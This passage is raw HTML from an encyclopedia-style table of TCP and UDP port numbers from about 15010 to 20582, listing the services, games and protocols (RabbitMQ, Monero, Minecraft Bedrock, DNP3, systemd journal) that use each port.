style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Teltonika networks remote management system (RMS)\n</td></tr>\n<tr>\n<td>15010</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Teltonika networks remote management system (RMS)\n</td></tr>\n<tr>\n<td>15441</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ZeroNet\" title=\"ZeroNet\">ZeroNet</a> fileserver<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (September 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>15567</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Battlefield_Vietnam\" title=\"Battlefield Vietnam\">Battlefield Vietnam</a></i> and mods\n</td></tr>\n<tr>\n<td>15345</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/XPilot\" title=\"XPilot\">XPilot</a></i> Contact\n</td></tr>\n<tr>\n<td>15672</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RabbitMQ\" title=\"RabbitMQ\">RabbitMQ</a> management plugin<sup id=\"cite_ref-rabbitmq-management_363-0\" class=\"reference\"><a href=\"#cite_note-rabbitmq-management-363\">&#91;361&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">16000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_WebCenter\" title=\"Oracle WebCenter\">Oracle WebCenter</a> Content: Imaging (formerly known as Oracle <a href=\"/wiki/Universal_Content_Management\" class=\"mw-redirect\" title=\"Universal Content Management\">Universal Content Management</a>). Port though often changed during installation\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ShroudBNC\" class=\"mw-redirect\" title=\"ShroudBNC\">shroudBNC</a>\n</td></tr>\n<tr>\n<td>16080</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MacOS_Server\" title=\"MacOS Server\">macOS Server</a> Web (HTTP) service with performance cache<sup id=\"cite_ref-364\" class=\"reference\"><a href=\"#cite_note-364\">&#91;362&#93;</a></sup>\n</td></tr>\n<tr>\n<td>16200</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content: Content Server (formerly known as Oracle <a href=\"/wiki/Universal_Content_Management\" class=\"mw-redirect\" title=\"Universal Content Management\">Universal Content Management</a>). Port though often changed during installation\n</td></tr>\n<tr>\n<td>16225</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content: Content Server Web UI. Port though often changed during installation\n</td></tr>\n<tr>\n<td>16250</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content: Inbound Refinery (formerly known as Oracle <a href=\"/wiki/Universal_Content_Management\" class=\"mw-redirect\" title=\"Universal Content Management\">Universal Content Management</a>). Port though often changed during installation\n</td></tr>\n<tr>\n<td>16261</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Project_Zomboid\" title=\"Project Zomboid\">Project Zomboid</a></i> multiplayer. Additional sequential ports used for each player connecting to server.<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>16300</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content: Records Management (formerly known as Oracle <a href=\"/w/index.php?title=Universal_Records_Management&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Universal Records Management (page does not exist)\">Universal Records Management</a>). Port though often changed during installation\n</td></tr>\n<tr>\n<td>16384</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>CISCO Default RTP MIN\n</td></tr>\n<tr>\n<td>16384–16403</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Real-time_Transport_Protocol\" title=\"Real-time Transport Protocol\">Real-time Transport Protocol</a> (RTP), <a href=\"/wiki/RTP_Control_Protocol\" title=\"RTP Control Protocol\">RTP Control Protocol</a> (RTCP), used by <a href=\"/wiki/Apple_Inc.\" title=\"Apple Inc.\">Apple</a>'s <a href=\"/wiki/IChat\" title=\"IChat\">iChat</a> for audio and video<sup id=\"cite_ref-apple-kb-HT202944_11-78\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>16384–16387</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's <a href=\"/wiki/FaceTime\" title=\"FaceTime\">FaceTime</a> and <a href=\"/wiki/Game_Center\" title=\"Game Center\">Game Center</a><sup id=\"cite_ref-apple-kb-HT202944_11-79\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>16393–16402</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's FaceTime and Game Center<sup id=\"cite_ref-apple-kb-HT202944_11-80\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>16403–16472</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Real-time Transport Protocol (RTP), RTP Control Protocol (RTCP), used by Apple's Game Center<sup id=\"cite_ref-apple-kb-HT202944_11-81\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>16400</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content: Capture (formerly known as Oracle Document Capture). Port though often changed during installation\n</td></tr>\n<tr>\n<td>16567</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Battlefield_2\" title=\"Battlefield 2\">Battlefield 2</a> and mods\n</td></tr>\n<tr>\n<td>16666</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>SITC Port for mobile web traffic\n</td></tr>\n<tr>\n<td>16677</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>SITC Port for mobile web traffic\n</td></tr>\n<tr>\n<td>17000</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>M17 - Digital RF voice and data protocol with Internet (UDP) gateways (reflectors).<sup id=\"cite_ref-365\" class=\"reference\"><a href=\"#cite_note-365\">&#91;363&#93;</a></sup>\n</td></tr>\n<tr>\n<td>17011</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Worms_(series)\" title=\"Worms (series)\">Worms</a> multiplayer\n</td></tr>\n<tr>\n<td>17224</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Train Realtime Data Protocol (TRDP) Process Data, network protocol used in train communication.<sup id=\"cite_ref-IANA_2-13\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup><sup id=\"cite_ref-port_17224,_IANA,_2019_366-0\" class=\"reference\"><a href=\"#cite_note-port_17224,_IANA,_2019-366\">&#91;364&#93;</a></sup>\n</td></tr>\n<tr>\n<td>17225</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Train Realtime Data Protocol (TRDP) Message Data, network protocol used in train communication.<sup id=\"cite_ref-IANA_2-14\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup><sup id=\"cite_ref-port_17225,_IANA,_2019_367-0\" class=\"reference\"><a href=\"#cite_note-port_17225,_IANA,_2019-367\">&#91;365&#93;</a></sup>\n</td></tr>\n<tr>\n<td>17333</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>CS Server (CSMS), default binary protocol port\n</td></tr>\n<tr>\n<td>17472\n</td>\n<td>Yes\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>Tanium Communication Port\n</td></tr>\n<tr>\n<td>17474</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>DMXControl 3 Network Discovery\n</td></tr>\n<tr>\n<td>17475</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>DMXControl 3 Network Broker\n</td></tr>\n<tr>\n<td>17500</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Dropbox_(storage_provider)\" class=\"mw-redirect\" title=\"Dropbox (storage provider)\">Dropbox</a> LanSync Protocol (db-lsp); used to synchronize file catalogs between Dropbox clients on a local network.\n</td></tr>\n<tr>\n<td>17777</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>SITC Port for mobile web traffic\n</td></tr>\n<tr>\n<td>18080</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Monero_(cryptocurrency)\" class=\"mw-redirect\" title=\"Monero (cryptocurrency)\">Monero</a> P2P network communications<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2018)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>18081</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Monero incoming RPC calls<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (November 2018)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>18091</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Memcached\" title=\"Memcached\">memcached</a> Internal REST HTTPS for SSL\n</td></tr>\n<tr>\n<td>18092</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>memcached Internal CAPI HTTPS for SSL\n</td></tr>\n<tr>\n<td>18104</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>RAD PDF Service\n</td></tr>\n<tr>\n<td>18200</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Audition_Online_Dance_Battle\" class=\"mw-redirect\" title=\"Audition Online Dance Battle\">Audition Online Dance Battle</a>, AsiaSoft Thailand Server status/version check\n</td></tr>\n<tr>\n<td>18201</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, AsiaSoft Thailand Server\n</td></tr>\n<tr>\n<td>18206</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, AsiaSoft Thailand Server FAM database\n</td></tr>\n<tr>\n<td>18300</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, AsiaSoft SEA Server status/version check\n</td></tr>\n<tr>\n<td>18301</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, AsiaSoft SEA Server\n</td></tr>\n<tr>\n<td>18306</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, AsiaSoft SEA Server FAM database\n</td></tr>\n<tr>\n<td>18333</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bitcoin\" title=\"Bitcoin\">Bitcoin</a> testnet<sup id=\"cite_ref-ReferenceA_304-1\" class=\"reference\"><a href=\"#cite_note-ReferenceA-304\">&#91;302&#93;</a></sup>\n</td></tr>\n<tr>\n<td>18400</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, KAIZEN Brazil Server status/version check\n</td></tr>\n<tr>\n<td>18401</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, KAIZEN Brazil Server\n</td></tr>\n<tr>\n<td>18505</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle R4p3 Server, Nexon Server status/version check\n</td></tr>\n<tr>\n<td>18506</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, Nexon Server\n</td></tr>\n<tr>\n<td>18605</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/X-BEAT\" class=\"mw-redirect\" title=\"X-BEAT\">X-BEAT</a> status/version check\n</td></tr>\n<tr>\n<td>18606</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/X-BEAT\" class=\"mw-redirect\" title=\"X-BEAT\">X-BEAT</a>\n</td></tr>\n<tr>\n<td>18676</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>YouView\n</td></tr>\n<tr>\n<td rowspan=\"2\">19000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, G10/alaplaya Server status/version check\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/JACK_Audio_Connection_Kit\" title=\"JACK Audio Connection Kit\">JACK</a> sound server\n</td></tr>\n<tr>\n<td>19001</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, G10/alaplaya Server\n</td></tr>\n<tr>\n<td>19132</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Minecraft:_Bedrock_Edition\" class=\"mw-redirect\" title=\"Minecraft: Bedrock Edition\">Minecraft: Bedrock Edition</a></i> multiplayer server<sup id=\"cite_ref-minecraft.gamepedia.com_368-0\" class=\"reference\"><a href=\"#cite_note-minecraft.gamepedia.com-368\">&#91;366&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19133</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Minecraft: Bedrock Edition</i> IPv6 multiplayer server<sup id=\"cite_ref-minecraft.gamepedia.com_368-1\" class=\"reference\"><a href=\"#cite_note-minecraft.gamepedia.com-368\">&#91;366&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19150</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gkrellm\" class=\"mw-redirect\" title=\"Gkrellm\">Gkrellm</a> Server\n</td></tr>\n<tr>\n<td>19226</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Panda_Security\" title=\"Panda Security\">Panda Software</a> AdminSecure Communication Agent\n</td></tr>\n<tr>\n<td>19294</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Google_Talk\" title=\"Google Talk\">Google Talk</a> Voice and Video connections<sup id=\"cite_ref-gtalk_voice_369-0\" class=\"reference\"><a href=\"#cite_note-gtalk_voice-369\">&#91;367&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19295</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Google Talk Voice and Video connections<sup id=\"cite_ref-gtalk_voice_369-1\" class=\"reference\"><a href=\"#cite_note-gtalk_voice-369\">&#91;367&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19302</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Google Talk Voice and Video connections<sup id=\"cite_ref-gtalk_voice_369-2\" class=\"reference\"><a href=\"#cite_note-gtalk_voice-369\">&#91;367&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19531</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Systemd\" title=\"Systemd\">systemd</a>-journal-gatewayd<sup id=\"cite_ref-370\" class=\"reference\"><a href=\"#cite_note-370\">&#91;368&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19532</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Systemd\" title=\"Systemd\">systemd</a>-journal-remote<sup id=\"cite_ref-371\" class=\"reference\"><a href=\"#cite_note-371\">&#91;369&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19788</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Mesh Link Establishment protocol for IEEE 802.15.4 radio mesh networks<sup id=\"cite_ref-MLE_372-0\" class=\"reference\"><a href=\"#cite_note-MLE-372\">&#91;370&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19812</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>4D database SQL Communication<sup id=\"cite_ref-4D_ports_373-0\" class=\"reference\"><a href=\"#cite_note-4D_ports-373\">&#91;371&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19813</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>4D database Client Server Communication<sup id=\"cite_ref-4D_ports_373-1\" class=\"reference\"><a href=\"#cite_note-4D_ports-373\">&#91;371&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19814</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>4D database DB4D Communication<sup id=\"cite_ref-4D_ports_373-2\" class=\"reference\"><a href=\"#cite_note-4D_ports-373\">&#91;371&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19999</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Distributed Network Protocol—Secure (<a href=\"/wiki/DNP3\" title=\"DNP3\">DNP</a>—Secure), a secure version of the protocol used in <a href=\"/wiki/SCADA\" title=\"SCADA\">SCADA</a> systems between communicating <a href=\"https://en.wiktionary.org/wiki/RTU\" class=\"extiw\" title=\"wikt:RTU\">RTU</a>'s and <a href=\"https://en.wiktionary.org/wiki/IED\" class=\"extiw\" title=\"wikt:IED\">IED</a>'s\n</td></tr>\n<tr>\n<td rowspan=\"3\">20000\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Distributed Network Protocol (<a href=\"/wiki/DNP3\" title=\"DNP3\">DNP</a>), a protocol used in <a href=\"/wiki/SCADA\" title=\"SCADA\">SCADA</a> systems between communicating <a href=\"/wiki/Remote_Terminal_Unit\" class=\"mw-redirect\" title=\"Remote Terminal Unit\">RTU</a>'s and <a href=\"/wiki/Intelligent_electronic_device\" title=\"Intelligent electronic device\">IED</a>'s\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Usermin\" title=\"Usermin\">Usermin</a>, Web-based Unix/Linux user administration tool (default port)\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Used on <a href=\"/wiki/Voice_over_IP\" title=\"Voice over IP\">VoIP</a> networks for receiving and transmitting voice telephony traffic which includes <a href=\"/wiki/Google_Voice\" title=\"Google Voice\">Google Voice</a> via the <a href=\"/wiki/Obihai_Technology\" title=\"Obihai Technology\">OBiTalk</a> <a href=\"/wiki/Analog_telephone_adapter\" title=\"Analog telephone adapter\">ATA</a> devices as well as on the <a href=\"/wiki/MagicJack\" title=\"MagicJack\">MagicJack</a> and <a href=\"/wiki/Vonage\" title=\"Vonage\">Vonage</a> ATA network devices.<sup id=\"cite_ref-support.vonage.com_343-1\" class=\"reference\"><a href=\"#cite_note-support.vonage.com-343\">&#91;341&#93;</a></sup>\n</td></tr>\n<tr>\n<td>20560</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Killing_Floor_(2009_video_game)\" class=\"mw-redirect\" title=\"Killing Floor (2009 video game)\">Killing Floor</a></i>\n</td></tr>\n<tr>\n<td>20582</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial 